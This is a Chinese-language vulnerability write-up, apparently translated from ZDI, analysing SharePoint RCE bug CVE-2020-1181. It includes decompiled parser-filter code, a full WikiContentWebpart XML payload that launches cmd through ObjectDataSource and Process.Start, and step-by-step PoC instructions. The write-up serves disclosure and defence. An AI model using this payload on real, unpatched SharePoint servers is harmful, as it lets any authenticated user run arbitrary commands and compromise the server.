0x00 前言
微软在上周发布了一个补丁,修复了CVE-2020-1181漏洞,这是SharePoint服务器中的一个远程代码执行(RCE)漏洞。该漏洞由一名匿名研究人员提交至ZDI,我们分配的编号为ZDI-20-694。在本文中,我们将与大家深入分析该漏洞的根源。
如果没有安装补丁,通过身份认证的用户可以在SharePoint服务器上,利用SharePoint Web Application的上下文执行任意.NET代码。如果想成功利用该漏洞,攻击者需具备SharePoint站点的“添加和自定义页面”权限。然而,默认配置的SharePoint允许身份认证用户创建站点。当用户执行该操作后,将成为该站点的所有者,自然就具备所需的所有权限。
0x01 漏洞描述
微软SharePoint服务器允许用户创建web页面,但为了避免被滥用,服务器会严格限制这些页面上能够出现的组件。SharePoint服务器会以不同的方式来处理“自有”页面和用户定义的页面。SharePoint的“自有”页面存放在文件系统上,不受任何限制。用户页面存放在数据库中,受服务器约束。其中有些限制条件包括无法使用代码块(code block)、无法包含文件系统中的文件。用户页面通常只能使用预定义列表中允许的web控件。
如果用户通过上传方式创建新页面,那么该页面也会受到限制。然而,如果新页面通过SharePoint Web Editor创建,那么就会被当成“ghost”页面,同样是可信的源。这个逻辑也很正常,因为SharePoint Web Editor会限制能够添加到页面的具体组件,因此页面可以在不受限制的模式下安全运行。
Web Editor中允许一种Web Part类型:WikiContentWebpart
。这种Web Part允许包含任意ASP.NET标记,因此攻击者可以利用这种方式,在不受限模式下运行任意ASP.NET标记,最终实现远程代码执行。
0x02 分析漏洞代码
SharePoint使用SPPageParserFilter
来阻止所有危险的内容。我们来分析下SPPageParserFilter
的初始化过程:
// Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter
protected override void Initialize()
{
if (!SPRequestModule.IsExcludedPath(base.VirtualPath, false))
{
this._pageParserSettings = SPVirtualFile.GetEffectivePageParserSettings(base.VirtualPath, out this._safeControls, out this._cacheKey, out this._isAppWeb);
this._safeModeDefaults = SafeModeSettings.SafeModeDefaults;
return;
}
/* ... */
}
// Microsoft.SharePoint.ApplicationRuntime.SPVirtualFile
internal static PageParserSettings GetEffectivePageParserSettings(string virtualPath, out SafeControls safeControls, out string cacheKeyParam, out bool isAppWeb)
{
HttpContext current = HttpContext.Current;
SPRequestModuleData requestData = SPVirtualFile.GetRequestData(current, virtualPath, true, true);
SPVirtualFile webPartPageData = requestData.GetWebPartPageData(current, virtualPath, true);
return webPartPageData.GetEffectivePageParserSettings(current, requestData, out safeControls, out cacheKeyParam, out isAppWeb);
}
// Microsoft.SharePoint.ApplicationRuntime.SPDatabaseFile
internal override PageParserSettings GetEffectivePageParserSettings(HttpContext context, SPRequestModuleData basicRequestData, out SafeControls safeControls, out string cacheKeyParam, out bool isAppWeb)
{
PageParserSettings pageParserSettings = this.PageParserSettings;
isAppWeb = this._isAppWeb;
safeControls = null;
cacheKeyParam = null;
if (pageParserSettings == null)
{
if (this.IsGhosted)
{
bool treatAsUnghosted = this.GetTreatAsUnghosted(context, basicRequestData, this.GetDirectDependencies(context, basicRequestData));
if (!treatAsUnghosted)
{
treatAsUnghosted = this.GetTreatAsUnghosted(context, basicRequestData, this.GetChildDependencies(context, basicRequestData));
}
if (treatAsUnghosted)
{
pageParserSettings = PageParserSettings.DefaultSettings;
}
else if (this._isAppWeb)
{
pageParserSettings = PageParserSettings.GhostedAppWebPageDefaultSettings;
}
else
{
pageParserSettings = PageParserSettings.GhostedPageDefaultSettings;
}
}
else
{
pageParserSettings = PageParserSettings.DefaultSettings;
}
}
if (!pageParserSettings.AllowUnsafeControls)
{
safeControls = this.SafeControls;
}
cacheKeyParam = this.GetVirtualPathProviderCacheKey(context, basicRequestData);
return pageParserSettings;
}
如果我们使用SharePoint Web Editor来创建页面,那么将导致IsGhosted = true
,且_isAppWeb
会被设置为false
。需要注意的是,服务器还会执行附加检查,确保页面没有依赖更低信任等级的文件:
// Microsoft.SharePoint.ApplicationRuntime.SPDatabaseFile
private bool GetTreatAsUnghosted(HttpContext context, SPRequestModuleData requestData, System.Collections.ICollection dependencyVirtualPaths)
{
bool result = false;
foreach (string path in dependencyVirtualPaths)
{
SPDatabaseFile sPDatabaseFile = requestData.GetWebPartPageData(context, path, true) as SPDatabaseFile;
if (sPDatabaseFile != null && !sPDatabaseFile.IsGhosted && (sPDatabaseFile.PageParserSettings == null || sPDatabaseFile.PageParserSettings.CompilationMode != CompilationMode.Always))
{
result = true;
break;
}
}
return result;
}
由于我们并没有添加这类文件,因此可以顺利通过这项检查。最后GetEffectivePageParserSettings()
将返回PageParserSettings.GhostedPageDefaultSettings
:
// Microsoft.SharePoint.ApplicationRuntime.PageParserSettings
internal static PageParserSettings GhostedPageDefaultSettings
{
get
{
if (PageParserSettings.s_ghostedPageDefaultSettings == null)
{
PageParserSettings.s_ghostedPageDefaultSettings = new PageParserSettings(CompilationMode.Always, true, true);
}
return PageParserSettings.s_ghostedPageDefaultSettings;
}
}
// Microsoft.SharePoint.ApplicationRuntime.PageParserSettings
internal PageParserSettings(CompilationMode compilationmode, bool allowServerSideScript, bool allowUnsafeControls)
{
this.m_compilationMode = compilationmode;
this.m_allowServerSideScript = allowServerSideScript;
this.m_allowUnsafeControls = allowUnsafeControls;
}
因此,我们的页面将具备这些属性:compilationmode=Always
、allowServerSideScript=true
以及allowUnsafeControls=true
。我们再仔细分析一下WikiContentWebpart
:
// Microsoft.SharePoint.WebPartPages.WikiContentWebpart
protected override void CreateChildControls()
{
if (!this.Visible || this.Page == null)
{
return;
}
if (this.Page.AppRelativeVirtualPath == null)
{
this.Page.AppRelativeVirtualPath = "~/current.aspx";
}
Control obj = this.Page.ParseControl(this.Directive + this.Content, false);
this.AddParsedSubObject(obj);
}
这意味着来自参数(Directive
以及Content
)的内容将由ParseControl(text2, false)
解析,第二个参数(false
)将强制服务器使用PageParserFilter
,该过滤器将与PageParserSettings.GhostedPageDefaultSettings
配合使用。
由于ParseControl()
方法不会引发编译过程,因此我们无法直接指定.NET代码。然而,我们可以使用SharePoint中的危险控件来调用任意方法,获得代码执行权限。比如,可以运行任意OS命令的WikiContentWebpart
配置如下所示:
<?xml version="1.0" encoding="utf-8"?>
<WebPart xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/WebPart/v2">
<Title>Wiki Content Web Part RCE</Title>
<Description>Executes Arbitrary Code on SharePoint Server</Description>
<IsIncluded>true</IsIncluded>
<Assembly>Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c</Assembly>
<TypeName>Microsoft.SharePoint.WebPartPages.WikiContentWebpart</TypeName>
<Content><![CDATA[
<asp:ObjectDataSource ID="ObjectDataSource1" runat="server" SelectMethod="Start"
TypeName="system.diagnostics.process" >
<SelectParameters>
<asp:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="cmd"/>
<asp:Parameter Direction="input" Type="string" Name="arguments" DefaultValue="/c echo pwned > c:/windows/temp/RCE_PoC.txt"/>
</SelectParameters>
</asp:ObjectDataSource>
<asp:ListBox ID="ListBox1" runat="server" DataSourceID = "ObjectDataSource1" ></asp:ListBox>
End]]></Content>
</WebPart>
0x03 PoC
在演示场景中,我们使用的版本为默认配置的Microsoft SharePoint 2019 Server,安装在Windows Server 2019 Datacenter系统上。服务器主机名为sp2019.contoso.lab
,已加入contoso.lab
域中,域控制器为一台独立的虚拟机。我们的目标主机已安装截至2020年2月份的所有补丁,因此对应的版本号为16.0.10355.20000
。
攻击系统中只需要使用支持的web浏览器即可。如下图所示,我们使用的浏览器为Mozilla Firefox 69.0.3。我们还会使用与前文类似的WikiContentWebpart
,将其命名为WikiContentRCE.xml
。
首先我们访问SharePoint Server,以普通用户(user2
)通过身份认证:
接下来创建站点,使该用户变成该站点所有者(owner),具备所有权限。
点击顶部面板的“SharePoint”区域:
然后点击“+ Create site”链接:
选择“Team Site”。现在我们需要为新站点设置名称,这里我们设置为testsiteofuser2。
点击“Finish”,成功创建新站点:
现在点击“Pages”链接:
我们需要切换到“Classic View”,点击左下角的“Return to classic SharePoint”链接即可:
点击“+ New”,为新页面设置一个名称。这里我们设置为newpage1:
点击“Create”按钮确认。
现在我们需要在“INSERT”标签页中选择“Web Part”:
在对话框窗口中,选择左下角的“Upload Web Part”链接,上传我们构造的WikiContentRCE.xml
文件:
点击Upload。我们可能会看到一个警告弹窗:“确认离开页面?您输入的数据可能不会被保存”。此时点击“Leave Page”按钮即可,返回主编辑视图:
我们需要再次在INSERT标签页中选择Web Part小部件,其中将出现我们导入的Web Part:
在点击Add按钮之前,我们先转到目标SharePoint服务器,打开C:\windows\temp
目录:
此时该目录中不存在RCE_PoC.txt
文件。
现在我们转到攻击者主机,将我们导入的Web Part添加到页面中:
再次在目标服务器上检查C:\windows\temp
目录:
通过这种方法,攻击者可以执行任意系统命令,入侵服务器。攻击者只需要在WikiContentRCE.xml
文件中,将echo pwned > c:/windows/temp/RCE_PoC.txt
字符串替换成所需的命令即可。
0x04 总结
在官方补丁文档中,微软将该漏洞的利用指数(XI)评为2,这意味着官方认为攻击者不大可能利用该漏洞。然而,如我们在PoC中演示的过程,只要用户通过身份认证,就可以轻松利用该漏洞。因此,我们建议大家将该漏洞的XI等级当成1来看待,这表示漏洞很可能会被利用。根据微软的描述,官方通过“更正微软SharePoint Server对已创建内容的处理过程”修复了这个bug,这似乎是一种合理的处理方式。对研究人员和攻击者而言,SharePoint仍具有相当的吸引力,后续我们也将公布关于SharePoint的其他漏洞信息。
发表评论
您还未登录,请先登录。
登录